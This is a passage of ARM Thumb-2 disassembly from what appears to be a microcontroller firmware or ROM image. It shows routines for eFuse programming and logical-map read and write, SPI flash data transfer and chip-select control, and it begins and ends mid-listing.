10100da2 <EFUSE_PG_Packet+0x182> 10100df2: 2001 movs r0, #1 10100df4: b005 add sp, #20 10100df6: e8bd 8ff0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, fp, pc} 10100dfa: 68ab ldr r3, [r5, #8] 10100dfc: 041b lsls r3, r3, #16 10100dfe: f104 0801 add.w r8, r4, #1 10100e02: ea4f 0949 mov.w r9, r9, lsl #1 10100e06: d42e bmi.n 10100e66 <EFUSE_PG_Packet+0x246> 10100e08: f009 02f0 and.w r2, r9, #240 ; 0xf0 10100e0c: 433a orrs r2, r7 10100e0e: 4641 mov r1, r8 10100e10: 2307 movs r3, #7 10100e12: 2000 movs r0, #0 10100e14: f7ff fe82 bl 10100b1c <EFUSEWrite8> 10100e18: 2801 cmp r0, #1 10100e1a: f47f af79 bne.w 10100d10 <EFUSE_PG_Packet+0xf0> 10100e1e: 3402 adds r4, #2 10100e20: e7b9 b.n 10100d96 <EFUSE_PG_Packet+0x176> 10100e22: 464b mov r3, r9 10100e24: 4622 mov r2, r4 10100e26: 4917 ldr r1, [pc, #92] ; (10100e84 <EFUSE_PG_Packet+0x264>) 10100e28: 4819 ldr r0, [pc, #100] ; (10100e90 <EFUSE_PG_Packet+0x270>) 10100e2a: f7ff fae3 bl 101003f4 <DiagPrintf> 10100e2e: e7a8 b.n 10100d82 <EFUSE_PG_Packet+0x162> 10100e30: 4643 mov r3, r8 10100e32: 4622 mov r2, r4 10100e34: 4913 ldr r1, [pc, #76] ; (10100e84 <EFUSE_PG_Packet+0x264>) 10100e36: 4816 ldr r0, [pc, #88] ; (10100e90 <EFUSE_PG_Packet+0x270>) 10100e38: f7ff fadc bl 101003f4 <DiagPrintf> 10100e3c: e75f b.n 10100cfe <EFUSE_PG_Packet+0xde> 10100e3e: f899 3001 ldrb.w r3, [r9, #1] 10100e42: 4652 mov r2, sl 10100e44: f8cd 8000 str.w r8, [sp] 10100e48: 4659 mov r1, fp 10100e4a: 4812 ldr r0, [pc, #72] ; (10100e94 <EFUSE_PG_Packet+0x274>) 10100e4c: f7ff fad2 bl 101003f4 <DiagPrintf> 10100e50: e7bd b.n 10100dce <EFUSE_PG_Packet+0x1ae> 10100e52: f816 3c01 ldrb.w r3, [r6, #-1] 10100e56: 4622 mov r2, r4 10100e58: f8cd 8000 str.w r8, [sp] 10100e5c: 4659 mov r1, fp 10100e5e: 480d ldr r0, [pc, #52] ; (10100e94 <EFUSE_PG_Packet+0x274>) 10100e60: f7ff fac8 bl 101003f4 <DiagPrintf> 10100e64: e7a7 b.n 10100db6 <EFUSE_PG_Packet+0x196> 10100e66: f009 03f0 and.w r3, r9, #240 ; 0xf0 10100e6a: 433b orrs r3, r7 10100e6c: 4642 mov r2, r8 10100e6e: 4905 ldr r1, [pc, #20] ; (10100e84 <EFUSE_PG_Packet+0x264>) 10100e70: 4807 ldr r0, [pc, #28] ; (10100e90 <EFUSE_PG_Packet+0x270>) 10100e72: f7ff fabf bl 101003f4 <DiagPrintf> 10100e76: e7c7 b.n 10100e08 <EFUSE_PG_Packet+0x1e8> 10100e78: 1000000c .word 0x1000000c 10100e7c: 101d410c .word 0x101d410c 10100e80: 101d41e4 .word 0x101d41e4 10100e84: 101d4f78 .word 0x101d4f78 10100e88: 101d4140 .word 0x101d4140 10100e8c: 101d40c8 .word 0x101d40c8 10100e90: 101d4178 .word 0x101d4178 10100e94: 101d41a0 .word 0x101d41a0 10100e98 <EFUSE_LogicalMap_Read>: 10100e98: e92d 4ff0 stmdb sp!, {r4, r5, r6, r7, r8, r9, sl, fp, lr} 10100e9c: f44f 6280 mov.w r2, #1024 ; 0x400 10100ea0: b083 sub sp, #12 10100ea2: 21ff movs r1, #255 ; 0xff 10100ea4: 4b3d ldr r3, [pc, #244] ; (10100f9c <EFUSE_LogicalMap_Read+0x104>) 10100ea6: 4682 mov sl, r0 10100ea8: f04f 0800 mov.w r8, #0 10100eac: 4798 blx r3 10100eae: f8df b0f4 ldr.w fp, [pc, #244] ; 10100fa4 <EFUSE_LogicalMap_Read+0x10c> 10100eb2: 4641 mov r1, r8 10100eb4: 2307 movs r3, #7 10100eb6: f10d 0205 add.w r2, sp, #5 10100eba: 2000 movs r0, #0 10100ebc: f7ff fdb8 bl 10100a30 <EFUSERead8> 10100ec0: f89d 5005 ldrb.w r5, [sp, #5] 10100ec4: 2dff cmp r5, #255 ; 0xff 10100ec6: f108 0101 add.w r1, r8, #1 10100eca: d05c beq.n 10100f86 <EFUSE_LogicalMap_Read+0xee> 10100ecc: f005 031f and.w r3, r5, #31 10100ed0: 2b0f cmp r3, #15 10100ed2: d03a beq.n 10100f4a <EFUSE_LogicalMap_Read+0xb2> 10100ed4: 4688 mov r8, r1 10100ed6: 092c lsrs r4, r5, #4 10100ed8: f005 050f and.w r5, r5, #15 10100edc: 2600 movs r6, #0 10100ede: 2701 movs r7, #1 10100ee0: 00e4 lsls r4, r4, #3 10100ee2: fa07 f006 lsl.w r0, r7, r6 10100ee6: ea10 0905 ands.w r9, r0, r5 10100eea: f106 0601 add.w r6, r6, #1 10100eee: d00a beq.n 10100f06 <EFUSE_LogicalMap_Read+0x6e> 10100ef0: 3402 adds r4, #2 10100ef2: 2e04 cmp r6, #4 10100ef4: b2a4 uxth r4, r4 10100ef6: d1f4 bne.n 10100ee2 <EFUSE_LogicalMap_Read+0x4a> 10100ef8: f5b8 7f8f cmp.w r8, #286 ; 0x11e 10100efc: d3d9 bcc.n 10100eb2 <EFUSE_LogicalMap_Read+0x1a> 10100efe: 2001 movs r0, #1 10100f00: b003 add sp, #12 10100f02: e8bd 8ff0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, fp, pc} 10100f06: 4641 mov r1, r8 10100f08: f10d 0207 add.w r2, sp, #7 10100f0c: 2307 movs r3, #7 10100f0e: 4648 mov r0, r9 10100f10: f7ff fd8e bl 10100a30 <EFUSERead8> 10100f14: f89d 3007 ldrb.w r3, [sp, #7] 10100f18: f108 0101 add.w r1, r8, #1 10100f1c: 4648 mov r0, r9 10100f1e: f80a 3004 strb.w r3, [sl, r4] 10100f22: f10d 0207 add.w r2, sp, #7 10100f26: 2307 movs r3, #7 10100f28: f7ff fd82 bl 10100a30 <EFUSERead8> 10100f2c: 2c10 cmp r4, #16 10100f2e: f108 0802 add.w r8, r8, #2 10100f32: eb0a 0904 add.w r9, sl, r4 10100f36: d803 bhi.n 10100f40 <EFUSE_LogicalMap_Read+0xa8> 10100f38: f8db 3008 ldr.w r3, [fp, #8] 10100f3c: 041b lsls r3, r3, #16 10100f3e: d419 bmi.n 10100f74 <EFUSE_LogicalMap_Read+0xdc> 10100f40: f89d 3007 ldrb.w r3, [sp, #7] 10100f44: f889 3001 strb.w r3, [r9, #1] 10100f48: e7d2 b.n 10100ef0 <EFUSE_LogicalMap_Read+0x58> 10100f4a: 2307 movs r3, #7 10100f4c: f10d 0206 add.w r2, sp, #6 10100f50: 2000 movs r0, #0 10100f52: f7ff fd6d bl 10100a30 <EFUSERead8> 10100f56: f89d 3006 ldrb.w r3, [sp, #6] 10100f5a: f003 020f and.w r2, r3, #15 10100f5e: 2a0f cmp r2, #15 10100f60: f108 0802 add.w r8, r8, #2 10100f64: d0c8 beq.n 10100ef8 <EFUSE_LogicalMap_Read+0x60> 10100f66: 105c asrs r4, r3, #1 10100f68: f004 0478 and.w r4, r4, #120 ; 0x78 10100f6c: ea44 1455 orr.w r4, r4, r5, lsr #5 10100f70: 4615 mov r5, r2 10100f72: e7b3 b.n 10100edc <EFUSE_LogicalMap_Read+0x44> 10100f74: f89d 3007 ldrb.w r3, [sp, #7] 10100f78: f899 2000 ldrb.w r2, [r9] 10100f7c: 4621 mov r1, r4 10100f7e: 4808 ldr r0, [pc, #32] ; (10100fa0 <EFUSE_LogicalMap_Read+0x108>) 10100f80: f7ff fa38 bl 101003f4 <DiagPrintf> 10100f84: e7dc b.n 10100f40 <EFUSE_LogicalMap_Read+0xa8> 10100f86: 4b07 ldr r3, [pc, #28] ; (10100fa4 <EFUSE_LogicalMap_Read+0x10c>) 10100f88: 689b ldr r3, [r3, #8] 10100f8a: 041a lsls r2, r3, #16 10100f8c: d5b7 bpl.n 10100efe <EFUSE_LogicalMap_Read+0x66> 10100f8e: 4806 ldr r0, [pc, #24] ; (10100fa8 <EFUSE_LogicalMap_Read+0x110>) 10100f90: f7ff fa30 bl 101003f4 <DiagPrintf> 10100f94: 2001 movs r0, #1 10100f96: b003 add sp, #12 10100f98: e8bd 8ff0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, fp, pc} 10100f9c: 10106e89 .word 0x10106e89 10100fa0: 101d4268 .word 0x101d4268 10100fa4: 1000000c .word 0x1000000c 10100fa8: 101d421c .word 0x101d421c 10100fac <EFUSE_LogicalMap_Write>: 10100fac: 1843 adds r3, r0, r1 10100fae: f5b3 6f80 cmp.w r3, #1024 ; 0x400 10100fb2: d901 bls.n 10100fb8 <EFUSE_LogicalMap_Write+0xc> 10100fb4: 2000 movs r0, #0 10100fb6: 4770 bx lr 10100fb8: e92d 4ff0 stmdb sp!, {r4, r5, r6, r7, r8, r9, sl, fp, lr} 10100fbc: f2ad 4d1c subw sp, sp, #1052 ; 0x41c 10100fc0: 9003 str r0, [sp, #12] 10100fc2: a806 add r0, sp, #24 10100fc4: 9202 str r2, [sp, #8] 10100fc6: 460f mov r7, r1 10100fc8: f7ff ff66 bl 10100e98 <EFUSE_LogicalMap_Read> 10100fcc: 4680 mov r8, r0 10100fce: b920 cbnz r0, 10100fda <EFUSE_LogicalMap_Write+0x2e> 10100fd0: 2000 movs r0, #0 10100fd2: f20d 4d1c addw sp, sp, #1052 ; 0x41c 10100fd6: e8bd 8ff0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, fp, pc} 10100fda: f10d 0a10 add.w sl, sp, #16 10100fde: 2208 movs r2, #8 10100fe0: 21ff movs r1, #255 ; 0xff 10100fe2: 4650 mov r0, sl 10100fe4: 4b63 ldr r3, [pc, #396] ; (10101174 <EFUSE_LogicalMap_Write+0x1c8>) 10100fe6: 4798 blx r3 10100fe8: 9a03 ldr r2, [sp, #12] 10100fea: f012 0401 ands.w r4, r2, #1 10100fee: ea4f 09d2 mov.w r9, r2, lsr #3 10100ff2: f002 0507 and.w r5, r2, #7 10100ff6: 4611 mov r1, r2 10100ff8: f000 809f beq.w 1010113a <EFUSE_LogicalMap_Write+0x18e> 10100ffc: 9b02 ldr r3, [sp, #8] 10100ffe: aa06 add r2, sp, #24 10101000: 781b ldrb r3, [r3, #0] 10101002: 5c52 ldrb r2, [r2, r1] 10101004: 429a cmp r2, r3 10101006: f000 80b3 beq.w 10101170 <EFUSE_LogicalMap_Write+0x1c4> 1010100a: 2601 movs r6, #1 1010100c: fa25 f206 lsr.w r2, r5, r6 10101010: 4096 lsls r6, r2 10101012: 43f6 mvns r6, r6 10101014: 4a58 ldr r2, [pc, #352] ; (10101178 <EFUSE_LogicalMap_Write+0x1cc>) 10101016: ac06 add r4, sp, #24 10101018: 1861 adds r1, r4, r1 1010101a: f811 0c01 ldrb.w r0, [r1, #-1] 1010101e: 6892 ldr r2, [r2, #8] 10101020: 1e69 subs r1, r5, #1 10101022: f80a 0001 strb.w r0, [sl, r1] 10101026: 0410 lsls r0, r2, #16 10101028: f006 060f and.w r6, r6, #15 1010102c: f80a 3005 strb.w r3, [sl, r5] 10101030: f100 8098 bmi.w 10101164 <EFUSE_LogicalMap_Write+0x1b8> 10101034: 2401 movs r4, #1 10101036: 3501 adds r5, #1 10101038: 2d07 cmp r5, #7 1010103a: f8df b13c ldr.w fp, [pc, #316] ; 10101178 <EFUSE_LogicalMap_Write+0x1cc> 1010103e: d824 bhi.n 1010108a <EFUSE_LogicalMap_Write+0xde> 10101040: 42bc cmp r4, r7 10101042: d040 beq.n 101010c6 <EFUSE_LogicalMap_Write+0x11a> 10101044: 1b3a subs r2, r7, r4 10101046: 9b03 ldr r3, [sp, #12] 10101048: 2a01 cmp r2, #1 1010104a: 4423 add r3, r4 1010104c: d04c beq.n 101010e8 <EFUSE_LogicalMap_Write+0x13c> 1010104e: 9802 ldr r0, [sp, #8] 10101050: aa06 add r2, sp, #24 10101052: 5cd1 ldrb r1, [r2, r3] 10101054: 5d02 ldrb r2, [r0, r4] 10101056: 4291 cmp r1, r2 10101058: d05e beq.n 10101118 <EFUSE_LogicalMap_Write+0x16c> 1010105a: 4603 mov r3, r0 1010105c: 4423 add r3, r4 1010105e: 785b ldrb r3, [r3, #1] 10101060: 2101 movs r1, #1 10101062: fa25 f001 lsr.w r0, r5, r1 10101066: 4081 lsls r1, r0 10101068: f8db 0008 ldr.w r0, [fp, #8] 1010106c: f80a 2005 strb.w r2, [sl, r5] 10101070: 0400 lsls r0, r0, #16 10101072: eb0a 0205 add.w r2, sl, r5 10101076: ea26 0601 bic.w r6, r6, r1 1010107a: 7053 strb r3, [r2, #1] 1010107c: d455 bmi.n 1010112a <EFUSE_LogicalMap_Write+0x17e> 1010107e: 3402 adds r4, #2 10101080: 42a7 cmp r7, r4 10101082: d020 beq.n 101010c6 <EFUSE_LogicalMap_Write+0x11a> 10101084: 3502 adds r5, #2 10101086: 2d07 cmp r5, #7 10101088: d9da bls.n 10101040 <EFUSE_LogicalMap_Write+0x94> 1010108a: 2e0f cmp r6, #15 1010108c: d00c beq.n 101010a8 <EFUSE_LogicalMap_Write+0xfc> 1010108e: f8db 3008 ldr.w r3, [fp, #8] 10101092: 0419 lsls r1, r3, #16 10101094: d41b bmi.n 101010ce <EFUSE_LogicalMap_Write+0x122> 10101096: b2f1 uxtb r1, r6 10101098: 4652 mov r2, sl 1010109a: fa5f f089 uxtb.w r0, r9 1010109e: f7ff fdbf bl 10100c20 <EFUSE_PG_Packet> 101010a2: 4680 mov r8, r0 101010a4: 2800 cmp r0, #0 101010a6: d04a beq.n 1010113e <EFUSE_LogicalMap_Write+0x192> 101010a8: 42a7 cmp r7, r4 101010aa: d00e beq.n 101010ca <EFUSE_LogicalMap_Write+0x11e> 101010ac: 2208 movs r2, #8 101010ae: 21ff movs r1, #255 ; 0xff 101010b0: 4650 mov r0, sl 101010b2: 4b30 ldr r3, [pc, #192] ; (10101174 <EFUSE_LogicalMap_Write+0x1c8>) 101010b4: 4798 blx r3 101010b6: 42bc cmp r4, r7 101010b8: f109 0901 add.w r9, r9, #1 101010bc: f04f 0500 mov.w r5, #0 101010c0: f04f 060f mov.w r6, #15 101010c4: d1be bne.n 10101044 <EFUSE_LogicalMap_Write+0x98> 101010c6: 2e0f cmp r6, #15 101010c8: d1e1 bne.n 1010108e <EFUSE_LogicalMap_Write+0xe2> 101010ca: 4640 mov r0, r8 101010cc: e781 b.n 10100fd2 <EFUSE_LogicalMap_Write+0x26> 101010ce: 4649 mov r1, r9 101010d0: 482a ldr r0, [pc, #168] ; (1010117c <EFUSE_LogicalMap_Write+0x1d0>) 101010d2: f7ff f98f bl 101003f4 <DiagPrintf> 101010d6: f8db 3008 ldr.w r3, [fp, #8] 101010da: 041a lsls r2, r3, #16 101010dc: d5db bpl.n 10101096 <EFUSE_LogicalMap_Write+0xea> 101010de: 4631 mov r1, r6 101010e0: 4827 ldr r0, [pc, #156] ; (10101180 <EFUSE_LogicalMap_Write+0x1d4>) 101010e2: f7ff f987 bl 101003f4 <DiagPrintf> 101010e6: e7d6 b.n 10101096 <EFUSE_LogicalMap_Write+0xea> 101010e8: a906 add r1, sp, #24 101010ea: 5cc8 ldrb r0, [r1, r3] 101010ec: 9902 ldr r1, [sp, #8] 101010ee: 5d09 ldrb r1, [r1, r4] 101010f0: 4288 cmp r0, r1 101010f2: d00f beq.n 10101114 <EFUSE_LogicalMap_Write+0x168> 101010f4: a806 add r0, sp, #24 101010f6: 4403 add r3, r0 101010f8: 0868 lsrs r0, r5, #1 101010fa: 4082 lsls r2, r0 101010fc: f8db 0008 ldr.w r0, [fp, #8] 10101100: 785b ldrb r3, [r3, #1] 10101102: f80a 1005 strb.w r1, [sl, r5] 10101106: ea26 0602 bic.w r6, r6, r2 1010110a: eb0a 0105 add.w r1, sl, r5 1010110e: 0402 lsls r2, r0, #16 10101110: 704b strb r3, [r1, #1] 10101112: d41f bmi.n 10101154 <EFUSE_LogicalMap_Write+0x1a8> 10101114: 3401 adds r4, #1 10101116: e7b8 b.n 1010108a <EFUSE_LogicalMap_Write+0xde> 10101118: a906 add r1, sp, #24 1010111a: 440b add r3, r1 1010111c: 9902 ldr r1, [sp, #8] 1010111e: 4421 add r1, r4 10101120: 7858 ldrb r0, [r3, #1] 10101122: 784b ldrb r3, [r1, #1] 10101124: 4298 cmp r0, r3 10101126: d19b bne.n 10101060 <EFUSE_LogicalMap_Write+0xb4> 10101128: e7a9 b.n 1010107e <EFUSE_LogicalMap_Write+0xd2> 1010112a: f81a 2005 ldrb.w r2, [sl, r5] 1010112e: 4629 mov r1, r5 10101130: 9600 str r6, [sp, #0] 10101132: 4814 ldr r0, [pc, #80] ; (10101184 <EFUSE_LogicalMap_Write+0x1d8>) 10101134: f7ff f95e bl 101003f4 <DiagPrintf> 10101138: e7a1 b.n 1010107e <EFUSE_LogicalMap_Write+0xd2> 1010113a: 260f movs r6, #15 1010113c: e77c b.n 10101038 <EFUSE_LogicalMap_Write+0x8c> 1010113e: f8db 3000 ldr.w r3, [fp] 10101142: 039b lsls r3, r3, #14 10101144: f57f af44 bpl.w 10100fd0 <EFUSE_LogicalMap_Write+0x24> 10101148: 4621 mov r1, r4 1010114a: 480f ldr r0, [pc, #60] ; (10101188 <EFUSE_LogicalMap_Write+0x1dc>) 1010114c: f7ff f952 bl 101003f4 <DiagPrintf> 10101150: 4640 mov r0, r8 10101152: e73e b.n 10100fd2 <EFUSE_LogicalMap_Write+0x26> 10101154: f81a 2005 ldrb.w r2, [sl, r5] 10101158: 4629 mov r1, r5 1010115a: 9600 str r6, [sp, #0] 1010115c: 480b ldr r0, [pc, #44] ; (1010118c <EFUSE_LogicalMap_Write+0x1e0>) 1010115e: f7ff f949 bl 101003f4 <DiagPrintf> 10101162: e7d7 b.n 10101114 <EFUSE_LogicalMap_Write+0x168> 10101164: f81a 2001 ldrb.w r2, [sl, r1] 10101168: 4809 ldr r0, [pc, #36] ; (10101190 <EFUSE_LogicalMap_Write+0x1e4>) 1010116a: f7ff f943 bl 101003f4 <DiagPrintf> 1010116e: e761 b.n 10101034 <EFUSE_LogicalMap_Write+0x88> 10101170: 260f movs r6, #15 10101172: e75f b.n 10101034 <EFUSE_LogicalMap_Write+0x88> 10101174: 10106e89 .word 0x10106e89 10101178: 1000000c .word 0x1000000c 1010117c: 101d4314 .word 0x101d4314 10101180: 101d433c .word 0x101d433c 10101184: 101d42e8 .word 0x101d42e8 10101188: 101d4364 .word 0x101d4364 1010118c: 101d42bc .word 0x101d42bc 10101190: 101d4290 .word 0x101d4290 10101194 <FLASH_RxData>: 10101194: b5f0 push {r4, r5, r6, r7, lr} 10101196: 4f3f ldr r7, [pc, #252] ; (10101294 <FLASH_RxData+0x100>) 10101198: b900 cbnz r0, 1010119c <FLASH_RxData+0x8> 1010119a: 7a38 ldrb r0, [r7, #8] 1010119c: f04f 0e00 mov.w lr, #0 101011a0: 4c3d ldr r4, [pc, #244] ; (10101298 <FLASH_RxData+0x104>) 101011a2: f8c4 e008 str.w lr, [r4, #8] 101011a6: 6826 ldr r6, [r4, #0] 101011a8: b295 uxth r5, r2 101011aa: f446 7640 orr.w r6, r6, #768 ; 0x300 101011ae: 6026 str r6, [r4, #0] 101011b0: 6065 str r5, [r4, #4] 101011b2: f897 605a ldrb.w r6, [r7, #90] ; 0x5a 101011b6: 2e00 cmp r6, #0 101011b8: d03a beq.n 10101230 <FLASH_RxData+0x9c> 101011ba: f897 5059 ldrb.w r5, [r7, #89] ; 0x59 101011be: 2d03 cmp r5, #3 101011c0: d047 beq.n 10101252 <FLASH_RxData+0xbe> 101011c2: 2d00 cmp r5, #0 101011c4: d160 bne.n 10101288 <FLASH_RxData+0xf4> 101011c6: 2701 movs r7, #1 101011c8: f04f 0e04 mov.w lr, #4 101011cc: f8c4 e118 str.w lr, [r4, #280] ; 0x118 101011d0: 6127 str r7, [r4, #16] 101011d2: 61e5 str r5, [r4, #28] 101011d4: 0e0f lsrs r7, r1, #24 101011d6: 0c0d lsrs r5, r1, #16 101011d8: 0a0c lsrs r4, r1, #8 101011da: 022d lsls r5, r5, #8 101011dc: f405 457f and.w r5, r5, #65280 ; 0xff00 101011e0: 0424 lsls r4, r4, #16 101011e2: ea47 6101 orr.w r1, r7, r1, lsl #24 101011e6: 4329 orrs r1, r5 101011e8: f404 057f and.w r5, r4, #16711680 ; 0xff0000 101011ec: 4c2a ldr r4, [pc, #168] ; (10101298 <FLASH_RxData+0x104>) 101011ee: 430d orrs r5, r1 101011f0: f884 0060 strb.w r0, [r4, #96] ; 0x60 101011f4: 6625 str r5, [r4, #96] ; 0x60 101011f6: b11e cbz r6, 10101200 <FLASH_RxData+0x6c> 101011f8: 2000 movs r0, #0 101011fa: 4927 ldr r1, [pc, #156] ; (10101298 <FLASH_RxData+0x104>) 101011fc: f881 0060 strb.w r0, [r1, #96] ; 0x60 10101200: 4925 ldr r1, [pc, #148] ; (10101298 <FLASH_RxData+0x104>) 10101202: 2401 movs r4, #1 10101204: 4608 mov r0, r1 10101206: 608c str r4, [r1, #8] 10101208: 6a81 ldr r1, [r0, #40] ; 0x28 1010120a: f011 0101 ands.w r1, r1, #1 1010120e: d1fb bne.n 10101208 <FLASH_RxData+0x74> 10101210: 4c21 ldr r4, [pc, #132] ; (10101298 <FLASH_RxData+0x104>) 10101212: 3b01 subs r3, #1 10101214: 4291 cmp r1, r2 10101216: d007 beq.n 10101228 <FLASH_RxData+0x94> 10101218: 6aa0 ldr r0, [r4, #40] ; 0x28 1010121a: 0700 lsls r0, r0, #28 1010121c: d42e bmi.n 1010127c <FLASH_RxData+0xe8> 1010121e: 6aa0 ldr r0, [r4, #40] ; 0x28 10101220: 0705 lsls r5, r0, #28 10101222: d42b bmi.n 1010127c <FLASH_RxData+0xe8> 10101224: 4291 cmp r1, r2 10101226: d3fa bcc.n 1010121e <FLASH_RxData+0x8a> 10101228: 2200 movs r2, #0 1010122a: 4b1b ldr r3, [pc, #108] ; (10101298 <FLASH_RxData+0x104>) 1010122c: 609a str r2, [r3, #8] 1010122e: bdf0 pop {r4, r5, r6, r7, pc} 10101230: 2501 movs r5, #1 10101232: f897 7059 ldrb.w r7, [r7, #89] ; 0x59 10101236: 2f03 cmp r7, #3 10101238: f8c4 7118 str.w r7, [r4, #280] ; 0x118 1010123c: 6125 str r5, [r4, #16] 1010123e: 61e6 str r6, [r4, #28] 10101240: ea4f 4511 mov.w r5, r1, lsr #16 10101244: ea4f 2411 mov.w r4, r1, lsr #8 10101248: d00b beq.n 10101262 <FLASH_RxData+0xce> 1010124a: 2f00 cmp r7, #0 1010124c: d1d8 bne.n 10101200 <FLASH_RxData+0x6c> 1010124e: 0e0f lsrs r7, r1, #24 10101250: e7c3 b.n 101011da <FLASH_RxData+0x46> 10101252: 2501 movs r5, #1 10101254: f8c4 e118 str.w lr, [r4, #280] ; 0x118 10101258: 6125 str r5, [r4, #16] 1010125a: f8c4 e01c str.w lr, [r4, #28] 1010125e: 0c0d lsrs r5, r1, #16 10101260: 0a0c lsrs r4, r1, #8 10101262: 022d lsls r5, r5, #8 10101264: ea40 6001 orr.w r0, r0, r1, lsl #24 10101268: f405 457f and.w r5, r5, #65280 ; 0xff00 1010126c: 0421 lsls r1, r4, #16 1010126e: 4305 orrs r5, r0 10101270: f401 017f and.w r1, r1, #16711680 ; 0xff0000 10101274: 4808 ldr r0, [pc, #32] ; (10101298 <FLASH_RxData+0x104>) 10101276: 4329 orrs r1, r5 10101278: 6601 str r1, [r0, #96] ; 0x60 1010127a: e7bc b.n 101011f6 <FLASH_RxData+0x62> 1010127c: f894 0060 ldrb.w r0, [r4, #96] ; 0x60 10101280: 3101 adds r1, #1 10101282: f803 0f01 strb.w r0, [r3, #1]! 10101286: e7c5 b.n 10101214 <FLASH_RxData+0x80> 10101288: 2101 movs r1, #1 1010128a: 6121 str r1, [r4, #16] 1010128c: f8c4 e01c str.w lr, [r4, #28] 10101290: e7b2 b.n 101011f8 <FLASH_RxData+0x64> 10101292: bf00 nop 10101294: 10000038 .word 0x10000038 10101298: 48080000 .word 0x48080000 1010129c <FLASH_TxCmd>: 1010129c: e92d 43f8 stmdb sp!, {r3, r4, r5, r6, r7, r8, r9, lr} 101012a0: 4f1f ldr r7, [pc, #124] ; (10101320 <FLASH_TxCmd+0x84>) 101012a2: 290c cmp r1, #12 101012a4: f8d7 5118 ldr.w r5, [r7, #280] ; 0x118 101012a8: 460e mov r6, r1 101012aa: 4680 mov r8, r0 101012ac: 4691 mov r9, r2 101012ae: 683c ldr r4, [r7, #0] 101012b0: d824 bhi.n 101012fc <FLASH_TxCmd+0x60> 101012b2: 2300 movs r3, #0 101012b4: 60bb str r3, [r7, #8] 101012b6: 683b ldr r3, [r7, #0] 101012b8: f423 137c bic.w r3, r3, #4128768 ; 0x3f0000 101012bc: f423 7340 bic.w r3, r3, #768 ; 0x300 101012c0: 2903 cmp r1, #3 101012c2: 603b str r3, [r7, #0] 101012c4: d826 bhi.n 10101314 <FLASH_TxCmd+0x78> 101012c6: f8c7 1118 str.w r1, [r7, #280] ; 0x118 101012ca: 4815 ldr r0, [pc, #84] ; (10101320 <FLASH_TxCmd+0x84>) 101012cc: f880 8060 strb.w r8, [r0, #96] ; 0x60 101012d0: b13e cbz r6, 101012e2 <FLASH_TxCmd+0x46> 101012d2: 464a mov r2, r9 101012d4: 1991 adds r1, r2, r6 101012d6: f812 3b01 ldrb.w r3, [r2], #1 101012da: 428a cmp r2, r1 101012dc: f880 3060 strb.w r3, [r0, #96] ; 0x60 101012e0: d1f9 bne.n 101012d6 <FLASH_TxCmd+0x3a> 101012e2: 2301 movs r3, #1 101012e4: 4a0e ldr r2, [pc, #56] ; (10101320 <FLASH_TxCmd+0x84>) 101012e6: 6093 str r3, [r2, #8] 101012e8: 6a93 ldr r3, [r2, #40] ; 0x28 101012ea: f013 0301 ands.w r3, r3, #1 101012ee: d1fb bne.n 101012e8 <FLASH_TxCmd+0x4c> 101012f0: 6093 str r3, [r2, #8] 101012f2: f8c2 5118 str.w r5, [r2, #280] ; 0x118 101012f6: 6014 str r4, [r2, #0] 101012f8: e8bd 83f8 ldmia.w sp!, {r3, r4, r5, r6, r7, r8, r9, pc} 101012fc: 21f1 movs r1, #241 ; 0xf1 101012fe: 4809 ldr r0, [pc, #36] ; (10101324 <FLASH_TxCmd+0x88>) 10101300: f7ff fab6 bl 10100870 <io_assert_failed> 10101304: 2300 movs r3, #0 10101306: 60bb str r3, [r7, #8] 10101308: 683b ldr r3, [r7, #0] 1010130a: f423 137c bic.w r3, r3, #4128768 ; 0x3f0000 1010130e: f423 7340 bic.w r3, r3, #768 ; 0x300 10101312: 603b str r3, [r7, #0] 10101314: 2100 movs r1, #0 10101316: 4b02 ldr r3, [pc, #8] ; (10101320 <FLASH_TxCmd+0x84>) 10101318: f8c3 1118 str.w r1, [r3, #280] ; 0x118 1010131c: e7d5 b.n 101012ca <FLASH_TxCmd+0x2e> 1010131e: bf00 nop 10101320: 48080000 .word 0x48080000 10101324: 101d4fa8 .word 0x101d4fa8 10101328 <FLASH_SW_CS_Control>: 10101328: b570 push {r4, r5, r6, lr} 1010132a: 4b10 ldr r3, [pc, #64] ; (1010136c <FLASH_SW_CS_Control+0x44>) 1010132c: f893 305b ldrb.w r3, [r3, #91] ; 0x5b 10101330: b143 cbz r3, 10101344 <FLASH_SW_CS_Control+0x1c> 10101332: 2530 movs r5, #48 ; 0x30 10101334: 462e mov r6, r5 10101336: b148 cbz r0, 1010134c <FLASH_SW_CS_Control+0x24> 10101338: 4628 mov r0, r5 1010133a: 2106 movs r1, #6 1010133c: 4b0c ldr r3, [pc, #48] ; (10101370 <FLASH_SW_CS_Control+0x48>) 1010133e: e8bd 4070 ldmia.w sp!, {r4, r5, r6, lr} 10101342: 4718 bx r3 10101344: 2532 movs r5, #50 ; 0x32 10101346: 462e mov r6, r5 10101348: 2800 cmp r0, #0 1010134a: d1f5 bne.n 10101338 <FLASH_SW_CS_Control+0x10> 1010134c: 4604 mov r4, r0 1010134e: 2101 movs r1, #1 10101350: 4630 mov r0, r6 10101352: 4b08 ldr r3, [pc, #32] ; (10101374 <FLASH_SW_CS_Control+0x4c>) 10101354: 4798 blx r3 10101356: 4621 mov r1, r4 10101358: 4630 mov r0, r6 1010135a: 4b07 ldr r3, [pc, #28] ; (10101378 <FLASH_SW_CS_Control+0x50>) 1010135c: 4798 blx r3 1010135e: 4621 mov r1, r4 10101360: 4628 mov r0, r5 10101362: 4b03 ldr r3, [pc, #12] ; (10101370 <FLASH_SW_CS_Control+0x48>) 10101364: e8bd 4070 ldmia.w sp!, {r4, r5, r6, lr} 10101368: 4718 bx r3 1010136a: bf00 nop 1010136c: 10000038 .word 0x10000038 10101370: 10102fb9 .word 0x10102fb9 10101374: 10102721 .word 0x10102721 10101378: 10102871 .word 0x10102871 1010137c <FLASH_SetSpiMode>: 1010137c: b470 push {r4, r5, r6} 1010137e: 2400 movs r4, #0 10101380: 7943 ldrb r3, [r0, #5] 10101382: 1842 adds r2, r0, r1 10101384: 7f95 ldrb r5, [r2, #30] 10101386: 7f42 ldrb r2, [r0, #29] 10101388: 005b lsls r3, r3, #1 1010138a: fb05 2303 mla r3, r5, r3, r2 1010138e: 4a20 ldr r2, [pc, #128] ; (10101410 <FLASH_SetSpiMode+0x94>) 10101390: 6094 str r4, [r2, #8] 10101392: f890 5059 ldrb.w r5, [r0, #89] ; 0x59 